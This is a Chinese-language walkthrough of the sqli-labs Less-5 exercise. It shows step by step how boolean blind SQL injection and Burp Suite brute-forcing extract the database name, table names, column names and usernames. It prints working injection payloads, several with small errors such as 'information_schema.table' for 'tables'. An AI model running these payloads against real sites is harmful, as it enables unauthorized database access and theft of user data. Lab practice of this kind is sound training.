第五关可以用很多种方法来做,报错型注入,二次查询注入等,这里用布尔盲注手工注入的方法来做
Less -5
1、输入?id=1,显示you are in
将1改为3,5等数字,仍然得相同结果,改为100,发现没有回显,由此可知正确的情况下会返回you are in,错误的情况下没有返回,
输入?id=1' ,出现报错信息,由此判断存在注入漏洞
2、使用order by 语句进行查列,order by 3的时候正常回显,order by 4无回显,说明有三列
3、对于这题不能使用联合查询,无论结果正确与否,只存在 返回you are in 或者无回显两种结果,此处使用布尔盲注常用函数进行注入测试
输入?id=1' and left((select database()),1)='s'--+ 有回显,说明当前数据库名第一位字母为s
接下来测试数据库名的第二位字母,输入?id=1' and left((select database()),2)='se'--+,出现正确回显
一个一个进行测试工作量太大,此处使用bp进行
输入?id=1' and left((select database()),1)='a'--+然后执行,抓到包后将其发送到爆破模块,对其中的一些值进行清除
然后将进行猜测的第一个字母a添加为一个变量
payload模块设置类型为brute forcer,最大最小长度设置为1
将options模块的线程调为30,然后开始爆破,结果显示s的数据长度与其他字母不同,且返回值you are in,表明数据正确,即第一位为s
接下来将第一位字母s添加到变量值之前,重复之前的步骤进行第二位字母的暴力破解,后几位字母按此依次进行破解,得到数据库名字为security
也可以使用select ascii(substr((select database()),1,1))>数字 (97-122)或者
select schema_name from information _schema.schemata limit 1,1 用二分法进行判断。
语句:?id=1' and ascii(substr((select database()),1,1))>数字--+
值为114时,有正确回显,为115时无回显,说明第一个字母的ascii为115 ,即s
4、输入?id=1' and ascii(substr((select table_name from information_schema.table where table_schema='security' limit 1,1),1,1))>1--+ (红色为可变参数)
使用二分法猜解得到security库下的所有表名:emails、referers、uagents、users
5、输入?id=1' and ascii(substr((select column_name from information_schema.column where table_name='users' limit 1,1),1,1))>1--+ (红色为可变参数)
使用二分法猜解得到users表下的所有字段:id、username、password
6、输入?id=1' and ascii(substr((select username from security.users limit 1,1),1,1))>1--+继续猜解得到字段内的信息